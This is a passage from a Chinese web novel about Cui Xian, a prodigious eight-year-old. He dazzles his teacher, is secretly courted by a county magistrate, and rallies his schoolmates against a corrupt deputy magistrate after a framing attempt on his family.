除了崔岘背着书箱,悠哉哼着小曲儿,姿态轻松惬意。 其余四人包括崔钰在内,都是一副‘如丧考妣’、‘上学如上坟’的表情。 咿? 怎么了这是? 崔岘小心翼翼问道:“可是出什么事儿了?” 奇怪,昨天不还好好的嘛! 其余五人闻言,互相对视,都看到了彼此眼睛里的木然。 算了,天才妖孽注定无法理解学渣们的心酸。 裴坚叹了口气,神情恹恹:“一会儿你就知道了。” 奥。 崔岘识趣的没有再问。 果不其然,等到了族学后,他顿时知道了。 课堂上。 吴清澜表情冷峻,手持戒尺:“除刚入学的崔岘外,其余人先后来背诵昨日教习的《国策》《三传》篇内容。背诵后回答一个相关内容的问题,且答案要引自《论语》。” 嘶! 听到这话,学堂里所有人齐齐倒抽冷气。 不是说只需背诵吗? 怎么还有临时考教题! 要求还如此惊悚严苛。 题目出自《国策》《三传》,答案出自《论语》,这是不同的三个科目书籍。 且不说《论语》那般多篇幅。 《三传》指的是《春秋》三传,即:《左传》《公羊传》《穀梁传》,是对《春秋》的注释和阐发。 《国策》即《战国策》,主要记载战国时期,纵横家的策略和言论。 而《论语》是儒家经典。 所以,这是要让学子们经史互参,两相辩证啊! 一位学子愤愤站起来,抱怨道:“夫子,昨日明明说只需背诵,今日为何还要回答问题?” 看到这一幕,裴坚脸色一白,心中把此人怒骂上一万遍。 因为这位站起来和夫子顶嘴的学子,就坐在裴坚的前面。 上过学的都知道。 当一位学子和夫子顶嘴,或者被挑到回答问题以后,答不上来。 那么此人的前后左右全得跟着遭殃。 妥妥的‘课堂连坐诛同窗’罪名。 果然。 吴清澜看向站起来那位学子,冷冷道:“不敬师长,扣一分。既然你站起来了,那就从你开始背诵吧。” 那学子脸色一僵,支支吾吾背不上来。 好嘛! 你连背诵都不会,还敢质疑夫子另行提问问题? 吴清澜当即道:“现在,站着开始自行心中背诵。直到会背,方可放饭。后桌,站起来。” 裴坚生无可恋的站起来,磕磕巴巴背诵:“邹忌修八尺有余,而形貌昳丽。朝服衣冠,窥镜,谓其妻曰……” 这是《战国策·齐策一》中经典的,邹忌讽齐王纳谏。 当然需要背诵的远远不止这一段。 好在,裴坚虽错了几个字,最后终究是勉强背诵完了。 没等他松一口气。 就听吴夫子问道:“纵横家言‘势’,《国策》中‘势’可借何物喻之?” 啊? 裴坚大脑登时一片空白。 尤其是被吴夫子神情冷漠的盯着,他额头开始冒汗,却一点思路也无。 这明明是一道只涵盖《国策》的题。 但刁钻就刁钻在,他必须要用《论语》来答! 裴坚也是好胆,想不出来,直接干脆放弃:“学生不知。” “站着吧。左边,继续。” 李鹤聿脸色苍白的站了起来。 他比裴坚好点,至少书背的还算顺利,但也仍旧答不上来。 不止他俩。 全课堂的人,一个个先后站起来,最多也就是会背诵,不理解意思。 这就是人们经常说的:知其然,不知所以然。 只懂读死书,有什么用? 瞧着满课堂学生都垂头丧气站着,吴清澜气的脸色涨红:“愚不可及!简直愚不可及!答案昨日为师已经险些没喂到你们嘴里,今日竟一个人都答不上来!” “气煞我也!今日答不上来这道题,你们都别放饭了!” 啊? 学子们闻言神情发紧,同时暗中腹诽。 这道题,昨日明明没说过,怎么就‘险些喂到嘴里’了呢? 一片安静中。 听到‘大家都别放饭’的崔岘无奈叹气。 他可不想挨饿啊! 于是,崔岘也站起来:“夫子,您还未曾让学生背诵。” 他是新入学的,跟其余学子进度不一样,夫子昨日单独留给他的背诵内容是《论语》为政篇。 甚至为了教导崔岘,吴清澜还带领全课堂学子,一起读了为政篇。 所以但凡在座的学子动点脑子,便该想到,这道题,答案就藏在为政篇里啊! 见崔岘主动站起来,吴夫子一愣,随后轻咳一声:“那你背诵吧。” 他是故意漏掉崔岘的,怕这孩子刚来,没进入状态,不会背。 结果这孩子诚实,自己站了起来。 接着。 便听崔岘清脆的声音响起。 “子曰:为政以德,譬如北辰,居其所而众星共之……” 他口齿清晰,断句抑扬顿挫令人舒适,背诵的一字不差。 整个课堂学子人人瞠目。 不是,昨日夫子也就带着他读了一遍而已。 而且崔岘还早早下学归家。 今日这就会了? 吴夫子面带惊喜,毫不吝惜赞叹道:“大善,快坐下吧,站着累。” 其余站着的学子:? 不曾想,崔岘却并未坐下,而是道:“启禀夫子,方才那道题,学生想尝试着解答一番。” 啊? 这下,连裴坚等人都纷纷侧目。 你只会背诵为政篇,昨日吴夫子讲的《国策》《三传》也就是跟着听了一部分。 这要如何作答? 唯有吴清澜心中一动,期待道:“哦?那你来解答,且大胆说,说错了也无妨的。” 崔岘笑道:“夫子问问题之前,说答案只能引用《论语》。昨日特地带领我们读了《为政篇》,所以学生斗胆猜测,这道问题的答案,就在为政篇里。” 吴清澜频频点头,目露赞叹。 这便是夫子为何会喜欢好学生的原因呐! 一点就通! 就听崔岘继续道:“昨日,学生听夫子教诲,张仪说秦以‘连横’破纵,譬如决堤导流,借诸侯相争之势成秦业。” “可见势如激水漂石。” “然为政篇有言,子曰:君子不器。” “故,真势在民心向背,非仅兵戈尔。” 此话说完,满堂俱静。 原来……还可以这样解读? 吴清澜更是忍不住抚掌夸赞:“说的好!好一个,真势在民心向背,非仅兵戈尔!” 夸赞完以后。 吴夫子突然反应过来,震惊看向崔岘:“可为师昨日并未教导你为政篇的释义,只带你读了一遍啊。” 崔岘眨眨眼:“学生自己读了,便隐约理解其意思。本来只是隐约模糊理解,一早醒来,忽想起昨日夫子教导的《国策》。” “两相辩证,互相呼应,便自行懂了。” 什、什么? 听到这话,满学堂学子们简直不敢相信自己的耳朵。 这……合理吗? 众人神情呆滞瞠目的看向崔岘,只觉得在看一个‘妖孽’。 而吴清澜则是怔怔看着崔岘良久,随后竟当众感动到落泪,激动颤声道:“天才!天生的读书种子啊!” “上苍待我吴清澜不薄,竟分发给我一个如此灵气十足的仕林奇才做学生!” 是的,灵气十足! 别人只会读死书。 但他轻易可以举一反三,互相辩证,经史结合! 这道题看似不难。 但实际背后隐藏的,是一个八岁稚童用自己的七巧玲珑心,将儒家伦理,和政治权谋解读的淋漓尽致! 这如何不让吴清澜惊艳,甚至激动到落泪? 更值得侧目的是。 崔岘还会作诗,还能写一手飘逸好字! 说是文曲星下凡都不为过。 看着课堂上侃侃而谈,笑容自信的崔岘,吴清澜在心中震撼的想:他才八岁。 八岁啊! 这孩子,未来必定青云扶摇直上! 正当吴清澜如宝贝疙瘩般看着崔岘,激动到几乎快要昏过去的时候。 便听一位学子弱弱道:“夫子,既然崔岘回答出了问题,那我们是不是可以放饭了?” 吴清澜脸色骤然一变,怒道:“吃吃吃,就知道吃,你们是饭桶吗?给老夫继续背诵!” 众学子:“……” 于是这一天。 写字练笔的时候。 其余学子把字帖递上去,吴清澜暴怒:“写的是什么,你自己看看写的这是什么?它认识老夫,老夫都认不出它!回去重写!” 崔岘把字帖递上去。 吴清澜笑的满脸褶子,双眼放光,抚掌大笑:“善!大善!奖赏票一,不,奖赏票两张!” 到了饭点。 其余学子饿的眼前发晕。 吴清澜带崔岘去吃饭:“我们且早些去,晚了饭菜就凉了。” 再然后。 “崔岘今日回答问题,记录在册,加一分。” “崔岘背诵完子路篇,奖赏票一张。” “崔岘……加一分……” “崔岘……奖赏票……” 一整天下来,满课堂学子们神情已经麻木了。 这个奖罚制度是不是有些多余? 干脆把分和赏票全都直接给他吧! 到了放学时间。 崔岘把一叠厚厚的赏票塞进书箱,然后站起来,冲四位大哥笑道:“大哥,三位兄长,我先回家啦。” 在四人眼巴巴的注视下,在全课堂学子艳羡的目光中,崔岘早早放学。 裴坚饿的两眼发昏:“咿?我怎么觉得,岘弟变成一只大鸡腿了呢?” 李鹤聿写字写到崩溃:“怎么才能写出来吴老头认识的字呢?” 庄瑾羡慕的眼睛发直:“我也好想放学啊。” 高奇则是在想崔岘书箱里那一沓赏票:“你们说我借一张岘弟的赏票,明日能抵一顿毒打吗?吴老头下手黑的很!” 说罢。 笨蛋四人组憔悴互相对视,欲哭无泪。 55、县令震撼:此子将来必成大器 崔岘笑眯眯走在回家的路上。 背后夏日夕阳漫天,清风尚且带着燥热余韵。 今日崔钰惨遭夫子留堂。 四位菜鸡大哥也是同样的处境。 是以他只能单独放学。 等再过些时日,崔岘考虑着,给几位大哥和崔钰补补课。 至于现在,还不是时候。 他心里有分寸,知道什么时候,做什么事情。 提起做事——也不知昨日那位公务员,回去后有没有成功把事儿办成。 但崔岘有预感,此人肯定会再次找上门。 一是为摩喉罗。 二嘛,自然是为来讨教‘办公室生存技巧’。 所以,昨日崔岘特地借‘迷路’,让那位公务员送自己回家。 为的就是留个‘联络方式’。 崔岘所料不差。 他还在放学回家的路上,身穿常服的叶县令,便鬼鬼祟祟暗中去了仲景巷崔家。 说来也是离奇。 他堂堂县尊,竟然在一八岁稚童身上,学习到了该如何政斗。 叶怀峰自己都觉得不可思议。 他一边觉得那稚童说的话,只是巧合。 另一边又觉得,对方或许是有真本事的。 两相怀疑对半开。 纠结良久后,叶县令一咬牙,终究是放下身段,再次寻来了! 崔岘曾在心中嘀咕:不懂叶怀峰没背景、没资历、没经验,怎么能空降来做大领导。 实则因为,他会‘做题’。 考试考得好,中了进士,便分配来做官。 上任前,叶怀峰踌躇满志。 上任后,叶怀峰心灰意冷。 这是走出象牙塔的学子 ,刚踏入社会后,都要经历的劫难。 但叶怀峰起步高。 所以劫难比别人来的更狠。 仲景巷,崔家门外。 叶怀峰踌躇徘徊良久,愣是没好意思上前叫门。 门开了该怎么说? 说昨日那稚童的法子好生厉害,想跟人家再讨教几招? 还有……眼馋人家的摩喉罗? 想想就好生羞耻啊。 正当叶怀峰踌躇不定的时候。 嘎吱—— 崔家的门开了,老崔氏探出头来,疑惑看向眼前陌生的青年:“你是?” 叶怀峰尴尬道:“我……我找……你们家那个看着好生俊俏机灵的稚童。” 说到这里他更尴尬。 自己连人家名字都不知道,就贸然登门了! 实在唐突。 结果老崔氏一听就笑了:“是岘哥儿的朋友啊,你先进来吧,他还未曾下学。” 奥。 叶怀峰拘谨的进了院子。 家里打扫的很干净,还能隐约听到两个男子的读书声。 看来是个读书世家,难怪那叫做岘哥儿的孩子,心思如此通透。 想到这里,叶县令顿时有底气了。 开始矜持了。 觉得自己又行了。 因为他别的不擅长,但最擅长读书啊! 说不定还能指点那孩子一番呢。 想他叶怀峰,曾经也被十里八村夸做神童,从小写得一手好字,还会作画、写诗。 甚至年少时候,也曾出版过话本,补贴家用呢。 这时候。 老崔氏见叶怀峰神情拘谨,便贴心拿来一本话本:“这话本最近很火,你要实在无聊,可以看看。” 叶怀峰定睛一看,这不是《虹猫蓝兔七侠传》嘛! 他惊讶道:“老人家,您也爱看话本?” 不曾想。 老崔氏连连摆手,笑着说出让叶怀峰浑身一震的话:“没有没有,老婆子我不识字,哪能看得懂话本。” “这话本,就是我那小孙子岘哥儿写的。” 什、什么? 叶怀峰眼睛都瞪直了,没忍住提高声音道:“您家孙子,他是《虹猫》的作者?” 岘哥儿……崔岘! 那位尚且还没开蒙,口述著出《虹猫》的八岁天才神童! 我的天呐! 竟然是他! 叶怀峰太喜欢《虹猫》了,以至于激动不已,有种‘粉丝’见到‘偶像’的振奋。 他喃喃道:“难怪,难怪他有虹猫少侠的摩喉罗。” 摩喉罗? 听到这个,老崔氏来劲了。 自家最近正准备做摩喉罗生意呢,此人好像很感兴趣,刚好可以做个‘顾客意向’调查。 因此。 老崔氏回屋,从屋子里拎出来一个箩筐:“对对,就是摩喉罗。你看看,就是这样的,一个卖……50 ,嗯,30文,你会买吗?” 她觉得30文都太贵,因此说出口的时候,心里很是没底。 而叶县令看到那一筐摩喉罗,眼睛都直了。 栩栩如生,惟妙惟肖! 七侠合集摩喉罗! 他眼馋了好些天,苦苦寻不到,崔家却有一箩筐! 而且只卖30文?! 叶县令激动冲了过来,眼神狂热:“不行不行,30文太少了,要我说,卖200文吧!” 老崔氏闻言直摇头,谁家乐意200文买个泥巴娃娃哟。 这时候。 叶县令突然发现,那箩筐里,还有一沓册子。 他下意识拿起来,然后浑身一震。 便见那册子上,画的是各种《虹猫》的剧情名场面,画的当真出神入化,妙笔生花。 老崔氏见状笑道:“这是我孙子岘哥儿闲着无聊,随意画的。” 叶县令看的如痴如醉,下意识往后翻阅。 然后,又是一震! 老崔氏眯起眼睛:“这应该是岘哥儿写的字帖吧,他刚开蒙,夫子都夸他字写的好呢。” 这……只是一个‘好’字可以形容的吗?! 而且才刚开蒙,便写出这般灵气十足的字迹? 苍天啊! 叶怀峰哆嗦着手,继续往后翻。 等看到那首《咏鹅》诗以后,不可思议又呆滞的看向老崔氏,试探性颤声问道:“这首《咏鹅》该不会也……” 《咏鹅》让赵志丢了大脸。 整个衙门无一人敢聊此事,这就导致叶县令对这首最近小有名气的诗,毫不知情。 侧面也能看出,他这位县尊被架空的极为彻底。 迎着叶怀峰震撼的目光,老崔氏笑的十分自豪:“是啊,这诗也是我孙子写的。” 娘嘞! 叶怀峰已经被震撼到失声。 他刚进来的时候,怎么想的来着? 指点崔岘读书,自诩有写话本、作画、写字、作诗的才能? 可崔岘,才八岁! 未开蒙创作《虹猫》。 从《虹猫》上市,到现在,才多久? 他开了蒙。 而后绘制出如此巧夺天工的画! 写出如此飘逸灵动的字! 作出如此朗朗上口的诗! 这……这究竟是什么妖孽啊,老天! 更关键的是。 他还懂‘政斗’! 对,现在叶怀峰敢肯定,崔岘昨日教授他的,绝非巧合。而是对方真的有本事! 这天下,竟有如此年轻,却如此妖孽之才! 此子,将来必成大器啊! 想到这里,叶怀峰半点也无方才的傲气,矜持。 因为他八岁的时候,还在玩泥巴呢! 甚至如今二十多岁,做了县令,还深陷政治泥沼,自身难保。 不过现在,叶怀峰看到了破局的希望:从崔岘这里学点真东西! 这时候。 崔岘笑着推开家门走进来:“祖母,娘,爹,我回来了。” 叶怀峰豁然转身。 老崔氏指着叶怀峰,笑道:“岘哥儿,这人说是你朋友,来咱家寻你来哩。” 崔岘看到叶怀峰,也不惊讶,但却故作茫然道:“咿?我朋友?我不认识他啊。” 老崔氏脸色当即一变。 叶怀峰赶忙尴尬挤出一个笑容来,慌忙解释:“认识的,认识的!” 想他堂堂县尊,如此殷勤模样,也是丢脸到家了。 好在,没人知道他的马甲嘿嘿! 56、背景深不可测的崔家 崔家。 经过叶怀峰好一番解释,老崔氏才意识到闹了乌龙。 岘哥儿说不认识此人,是在开玩笑呢。 她方才险些提起扫帚,把这人赶出去! 略显嗔怪的瞪了一眼小孙子,老崔氏又问道:“怎地不见钰哥儿回来?” 崔岘道:“被夫子留堂了。” 奥。 钰哥儿先前在私塾开蒙,骤然去了裴氏族学,一时间进度还没跟上。 老崔氏点点头:“那等他回来再做晡食吧。岘哥儿,招待下你这位朋友。” 崔岘瞥了一眼院子里那筐摩喉罗,似笑非笑看向叶怀峰:“想要?” 叶怀峰眼睛发亮,忙不迭点头:“想,你出个价,我买!” 他其实现在不仅眼馋摩喉罗。 还有点看到《虹猫》原著作者的激动和佩服。 不曾想。 崔岘却突然用笃定的语气,说道:“昨日我教你那法子,奏效了吧?” 叶怀峰心中一惊,装傻充愣:“还,还行。酒楼打扫的很干净。” 崔岘闻言也不拆穿,从筐里挑了一套摩喉罗递过去,大方道:“送你。” 叶怀峰被这个惊喜砸晕了,抱着那些摩喉罗,受宠若惊:“真的全都送我?” 崔岘一摊手:“对啊,不是你说的吗,我们是朋友。” 叶怀峰闻言表情讪讪,但心里又有几分暖意。 这时。 老崔氏从堂屋出来,窘迫看向叶怀峰道:“老糊涂了我,这才想起家里没肉了。你——怎么称呼?” 叶怀峰含糊道:“您叫我大川就好。” 老崔氏便热情道:“行,大川晚上留在家里吃饭吧。你先跟岘哥儿聊,我出门买肉。” 叶怀峰见状赶忙站起来,赧然道:“这……不妥不妥。您在家吧,我出去买。第一次登门,连东西都不曾带,实在唐突。” 说罢。 不顾老崔氏挽留,他愣是急吼吼出门去采买。 等人走了。 老崔氏看向岘哥儿,压低声音询问:“什么来头?” 她也是个人精,刚才一直都没问。 但孙子头一次带陌生朋友回家,此人还比岘哥儿大那么多,老崔氏直觉不一般。 所以招待的很是热络。 崔岘小声交代道:“疑似衙门里的,身份暂时不知。待会儿饭桌上,祖母你试探着问问,问不出来便罢,诉诉苦也行。” “我爹,还有大伯入县学的事情,不还没着落呢吗?试一试,万一就成了。” 哎哟! 老崔氏眼睛一下子就亮起来。 岘哥儿这孩子,真是满身福气。 不仅自个儿是个文曲星,现在连衙门口子里的人都带回家啦! 不过说起来,刚才那位大川,一看就是个愣头青。 甭管外头再厉害。 进了家往饭桌上一坐,话几句家常,铁定被老崔氏这样的,拿捏到死死的! 祖孙二人互相对视,默契‘嘿嘿’笑出声。 老崔氏心情极好。 因为还惦记着被留堂的钰哥儿,她每隔一会儿,就要出门去巷子口张望一番。 可能是老天今日见她太得意,所以故意使了绊子。 再一次出门没瞧见钰哥儿,老崔氏失望回家。 却在巷子里,跟崔老头迎面碰见了。 对上视线,二人俱是一愣。 崔老头当即反应过来:原来最近搬来仲景巷的‘崔家’,竟然是老崔氏一家! 但因为当年旧怨,二人只当彼此是陌生人,谁都不曾理会谁。 老崔氏沉着脸往家回。 崔老头盯着她的背影,脸色越来越难堪。 那天他可是听说了,老崔氏搬家过来的时候,很是风光。 邻里街坊都说这家人大有来头。 能有什么来头,乡下破落户而已! 崔老头转了转眼珠子,有了主意。 他转身去了巷子里另外一户人家,毫不客气的推开院门,冲里面喊道:“女婿,跟我出来一趟。” 崔老头的女婿姓林,是衙门里的差役。 林差役一听就知道没好事,但架不住老泰山撒泼打滚,只能憋屈跟上。 翁婿二人出门。 崔老头故意把女婿,带到老崔氏家门口不远的地方。 然后扯着嗓子指桑骂槐:“咱们这街坊邻居都出来看看啊,有些破落户人家,面上装阔绰,背地里不知道做什么勾当!” “我女婿,可是衙门口子里的差役!威风着呢!有他在,谁都别想在咱们仲景巷作妖!” 听到动静的街坊邻居们都出来看热闹。 但对这话却不置可否。 你崔老头才是仲景巷里最能作妖的吧! 只是碍于你有个差役女婿,所以大家不敢多说而已。 林差役见崔老头越说越过分。 一边对街坊邻居投以歉意的目光,一边试图把崔老头往家里扯。 崔老头自然不肯走。 他今天就是故意来老崔氏面前嘚瑟炫耀呢! 果然,听到动静的老崔氏,崔岘,以及一家子人,都开门来查看情况。 崔家门刚打开。 拎着肉、蛋、新鲜瓜果、米,等琳琅满目东西的叶怀峰,恰好也回来了。 林差役最先瞧见他,浑身一震。 崔老头毫不知情,见老崔氏走出来,神情越发得意:“哟,说谁作妖,谁就出来了。” 叶怀峰从一群人中匆匆走过。 他没注意到那个小差役,衙门那么多人,注意到了也不见得认识。 而且一群人围在这里,是做什么呢? 唠家常? 恰好瞧见崔家门开了。 叶怀峰吃力地拎着大包小包的东西,对老崔氏赧然笑道:“方才忘记带礼上门了。” “我又出去买了些,您可千万别嫌弃我不会来事儿。” 老崔氏无缘无故被崔老头上门指桑骂槐,正准备回怼呢。 闻言赶紧对叶怀峰说道:“哎哟,你这太客气了。” 见到这一幕,林差役直接被震惊傻了。 巷子里。 崔老头瞥了一眼叶怀峰买的那些东西,有点酸,嘴上却道:“就这么些不值钱玩意儿,我家都吃腻了。是吧,女婿。” 他身后的女婿林差役:??? 你个老登,作死能不能别带着我啊! 于是,在崔家人,和全仲景巷街坊邻居震惊的注视下。 便见那林差役突然暴起,一巴掌狠狠扇向崔老头的脑袋。 崔老头捂着脑门哀嚎,满脸不可思议。 林差役不理会老泰山。 他颤抖着上前两步,双腿一软,直挺挺跪倒在崔家门前,磕磕巴巴陪笑道:“对,对不起。冒犯了,是我们冒犯了。” 嘶。 整个仲景巷一片安静。 街坊邻里们震惊瞠目的看着这一幕,在心里想,这崔家,难不成有什么背景? 竟让林差役直接跪下道歉? 跪下的林差役则是比其余街坊邻居更惊骇。 县太爷亲自拎着瓜果肉类,赔笑登门拜访。 这崔家,得是什么权贵滔天、深不可测的人家啊! 57、小兵们VS县丞赵志 仲景巷。 林差役滑跪的太快,给原本还在生气的崔家人整不会了。 天老爷! 这怎么弄的,像是我家欺负你了似的。 老崔氏不知道该怎么说,厌恶的瞪了一眼崔老头,道:“你们快走吧,别堵我家门口。” 林差役狠狠松了口气,满脸感激涕零,还频频看向叶县令。 叶怀峰确实被架空的很厉害,斗不过县丞赵志。 但林差役就是衙门里一个最不起眼的差役,他哪里敢在县太爷面前逞威风? 破家县令,灭门府尹。 这话可不是说着玩儿的! 但叶怀峰其实现在也正忐忑着呢。 林差役一跪下,他就察觉到不妙:此人多半是认出自己了! 说好的捂紧马甲呢,怎么一不留神就要暴露。 尤其是旁边崔岘的目光,还若有若无的,看向自己。 让叶怀峰好生紧张。 好在。 见叶怀峰低调到一声不吭,林差役也识趣,站起来便要走。 崔老头终于反应过来,只觉得颜面尽失。 二十年不曾见面,他本想在老崔氏面前装一把大的。 结果好家伙,拉了一坨大的! “你敢打我?你敢打我?” 崔老头涨红了脸,怒不可遏,便要上去打林差役。 县太爷还在呢。 林差役不敢再让崔老头继续胡说,干脆咬了咬牙,一拳头砸向崔老头的下巴。 砰! 崔老头下巴被砸到错位,说不出来囫囵话,疼的吱哇乱叫。 在所有人目瞪口呆的注视下。 林差役冷着脸,把崔老头强行扯回了家。 左右邻居们看的傻了眼。 先是齐齐目送崔老头翁婿二人回家,又齐齐转身看向崔家,目露震惊。 这家人,究竟是什么可怕的来头啊! 竟然让林差役如此低三下四。 但没人敢来问。 一场原本由崔老头挑起的纷争,由崔老头一人受伤后结束。 众人各自散了。 但表面平静的仲景巷,背地里开始波涛汹涌。 新搬来的崔家,绝对有大背景! 崔家。 一场闹剧,让家里人都心情不是很好。 叶怀峰本还想继续请教崔岘呢,但眼下这氛围,实在不合适。 于是也不在崔家留饭,匆匆走了。 老崔氏心情不虞,也没心思挽留。 等叶怀峰走后。 崔仲渊这才皱眉道:“怎地二叔一家也在这儿住着,当真冤家路窄。” 老崔氏冷冷道:“他不是你二叔,既然分了家后老死不相往来,那就不再是一家人。” 当年老崔氏守寡。 崔老头欠了外债,欺负寡嫂膝下只有两个幼子。愣是联合族老们一起,逼迫老崔氏帮忙还账,还分走了七成家业。 这事儿,一直都是老崔氏心中的痛。 没想到阴差阳错,在这仲景巷里,又碰见了。 崔岘也不曾想,竟会遇到这么一遭事儿。 他在心里迅速做出评估——这崔老头,不足为惧,但像是块狗皮膏药,恶心人。 必要时找个法子撕了便是。 以及。 看那林差役今日对大川的态度,这位大川,在衙门里显然是有一定地位的。 而且地位还不低。 此人会是什么官职呢? 崔岘暂时琢磨不出来。 由于先前吴清澜夫子,特地交代过‘县太爷刚正不阿,十分威严’等话。 导致崔岘都没能把‘憨憨大川’和‘威严县尊’画上等号。 这一晚。 崔岘一家虽说觉得晦气,但也没过多纠结此事。 反倒是崔老头一家,闹翻了天。 崔老头回去又哭又闹,折腾的一家子都不安宁,非让女儿逼迫着女婿,给自己下跪道歉。 林差役惧内,所以才会一直被崔老头一家欺负。 但今日他格外强硬,冷冷对娘子说道:“你要是不想你爹害死咱们全家,就让他别去招惹那崔家。” 林差役的娘子意识到问题的严重性,便开始数落她爹。 一家人自是又摔盆砸碗,闹得不可开交。 林差役躺在床上,翻来覆去睡不着,他怕县太爷把自己革职了啊! 到后半夜。 林差役还是睡不着,出来起夜。 因为心中忐忑,他特地扫了一眼老崔氏家的院子。 结果这一看,当即面色一变:一个壮汉,正打算摸黑翻进老崔氏家里呢! 将功补过的好机会啊! 因此,林差役当即破门而出,大声吼道:“小贼!官差在此,速速束手就擒!” 这一嗓门,把巷子各家都惊动了。 林差役身手矫捷,当场将贼人抓获。 崔家亮起灯,一家子人惊魂未定。 林差役自然是好一番殷勤安抚,然后将那贼人缉拿,带去衙门。 赵家。 属下急匆匆进来,告知了赵志这个消息。 赵志闻言冷哼一声,骂道:“废物,这点事儿都办不好。警告那人,在牢里嘴巴严实一些,敢胡说八道,仔细我割了他舌头!” 次日。 仲景巷还在因遭贼一事,议论纷纷。 崔家一家子也都惊魂未定。 陈氏庆幸道:“还好咱一家人无恙,也无银钱损失。若非林差役刚好起夜,都不敢想咱们家会有什么可怕后果。” 老崔氏也道:“祖宗保佑哟!这些毛贼,当真猖狂。” 崔岘笑着安慰道:“祖母,娘,莫怕。那贼人已经被官府缉拿收押了。” 然而。 当崔岘离开家去上学后,脸上的笑意一下子就收了起来。 这半夜翻进他家院子的人,多半不是贼。 此人不是来偷东西的。 是来‘放’东西的。 流程很简单粗暴:先把一些贵重东西放进崔家栽赃陷害,然后报官。再然后,崔家人就可以顺理成章被抓进大牢。 进了大牢,想出来,少不得要被‘剥层皮’! 甚至一不小心死在里面,估计都没法伸冤。 显然,赵志出手了。 不愧是做了三十年县丞的人物,一出手便辛辣无比,直接置崔家于死地。 想到这里,崔岘也一阵后怕。 随即在心里明确了一件事:必须要尽快将那赵志拉下马! 只是‘老将’县尊暂时还未就位。 那就先出‘小兵’吧。 千万莫要小瞧‘小兵’,用好了,那就是‘奇兵’。 可杀将! 崔岘、崔钰兄弟二人,走到伏牛巷口,照旧和裴坚四人会合,一同上学。 因为课业压力,气氛依旧沉闷。 但崔岘两句话,便将这股沉闷一扫而空。 第一句:“大哥,各位兄长们,有人欺负我。” 第二句:“你们干不干他?” 58、进击的小兵们(上) 有人欺负我小弟? 听到这话。 原本还神情恹恹的裴坚登时勃然大怒:“哪个吃了熊心豹子胆的东西,敢欺负你?” “你尽管说,大哥去帮你干他!” 李鹤聿、庄瑾、高奇三人,也第一时间看向崔岘,一副磨拳霍霍的姿态。 说起学习,他们有气无力。 但若要是‘干仗’,那不就是兄弟们最擅长的嘛! 却听崔岘说道:“那人便是赵志。” 接着,他把自家昨日‘遭贼’,怀疑是赵县丞栽赃构陷的事情,一一详说。 包括先前在族学收到的,提醒自己小心赵家的字条。 旁边崔钰脸色一白。 他原本以为,只是家里进了一个毛贼而已。 谁知竟然是有人恶意搞鬼! 裴坚四人听完,脸色都凝重起来。 这就不是单纯的干架了。 作为南阳县城的乡绅之首,赵家可不是好对付的! “赵耀祖那厮,自己上门来斗诗,结果又输不起,当真无耻。” 裴坚深吸一口气,忍住怒气道:“一场比试而已,竟然还想要人性命?岘弟你放心,我这就回家,给我父亲、祖父写信!” 那日从河西村离开后不久。 确定崔岘会进裴氏族学读书,裴崇青、裴开泰两位举人,便返回了开封。 高奇三人,也当即表示,回去找家里长辈帮忙。 赵家确实权势滔天。 但他们四人,竟想也不想,就主动站出来保护崔岘。 崔岘很是暖心。 但是却摇了摇头,认真问道:“此事莫说我没有证据,就算拿到证据,也无法让赵志真正受挫。” “哪怕有你们四家帮忙的情况下。” “若非不能一次将赵家连根拔起,彻底消除,我们的反抗,绝对会迎来对方更猛烈的打压。” 嘶! 听闻此话,几位兄弟都倒抽一口冷气。 裴坚更是傻眼,磕磕巴巴道:“岘弟,你是说,你要把赵家连根拔起?” 这几位少爷向来猖狂,可也从未狂到,欲把赵家直接按死! 崔岘闻言,笑道:“怎么,你怕了。” 裴坚神情一滞,梗着脖子道:“你大哥我就不知道怕字怎么写!问题是,就算我们找家里人帮忙,也不可能除掉赵家啊。” 崔岘看向几位小兄弟:“谁说不可能,凡事皆有可能。” “我有办法。而且,不必找家里人帮忙,咱们几个兄弟合力,就能把赵志拉下马!” 啊? 听到这话,几人面面相觑,满脸荒谬。 你的意思是说,就凭咱们几个毛头臭皮匠,去干赢赵志吗? 怎么可能嘛! 可不知怎地,明明心里觉得不可能。 但大家看着岘弟一副笃定的表情,心脏没忍住开始加速跳动。 万一……真能行呢! 就听崔岘又压低声音道:“自从上次一起写完《虹猫》,咱们兄弟,已经许久没有再合力办大事儿了!” “既然赵志那厮猖狂嚣张,目无法纪。那咱们一起,兄弟齐心,收拾了他!” “今日下学,河边小竹林会和,商议计划细节。” “代号:‘斩首’行动!” 绝了。 虽然不知道什么是代号。 可这个代号一出,听着就莫名就有种热血上头的冲动啊! 四位少爷互相对视,都看到了彼此眼睛里的兴奋。 就连一向斯文端正的崔钰,都一副跃跃欲试的表情。 崔岘眼睛里浮现出笑意。 赵家在南阳权势滔天,贸然把四位大哥的家族拉进来去博弈厮杀,很不理智。 而且还很难成功。 所以得出‘奇兵’。 主要是为杀将,但也能顺势,练一练几位大哥的能力和胆量! 学堂里读书很重要。 放下书本,学会以笔墨喉舌做枪,同样不容忽视啊。 赵志—— 且看我带着一帮小兄弟,同你‘杀’上一局! 这日。 学堂里的学子,和吴夫子都很是奇怪。 因为裴坚四人,玩了命的背书,使出吃奶的劲儿练字。甚至还破天荒的,得到了赏票奖励。 至于原因嘛:他们怕被留堂! 若是留了堂,就无法参与岘弟的‘斩首行动’了啊。 这个行动听起来就很厉害的样子。 他们超想参加的! 傍晚。 夕阳漫天,河边竹林。 几个小子鬼鬼祟祟碰头,神情俱是压不住的振奋。 初生牛犊不怕虎,就凭他们几个,竟真的敢去和一位权势滔天的县丞掰腕子! 裴坚压低声音道:“岘弟,你快说,咱们要怎么做。” 在几位兄弟迫切的注视下。 崔岘道:“首先明确,此次计划的最终目的,是干掉赵志。” “其次,干掉他的同时,咱们几个,要踩着他风光扬名!” “同时,还要借此狠狠赚上一笔钱,把虹猫七侠的摩喉罗店开起来。” “这叫一鱼三吃!” 啊? 合着光干掉赵志还不算,还有这么多附带的好处? 问题是,这几件事,似乎完全不沾边啊! 见几位大哥神情茫然。 崔岘从怀里掏出几个摩喉罗,笑道:“当然仅凭借咱们几个,肯定不行。所以第一步要做的,是调‘兵’!” “赵志家工匠花匠的儿子,衙门里差役捕快的儿子,酒楼青楼里伙计的儿子,茶馆牙行东家的儿子,都可以是咱们的兵!” “赵志何时在衙门里办公,在家接待了谁。去了哪家酒楼,谈了什么内容。” “是喜欢喝茶,还是喜欢听曲儿。” “外面有没有相好的,过户了哪些房产。” “跟谁家走的近,又跟谁家有仇。” 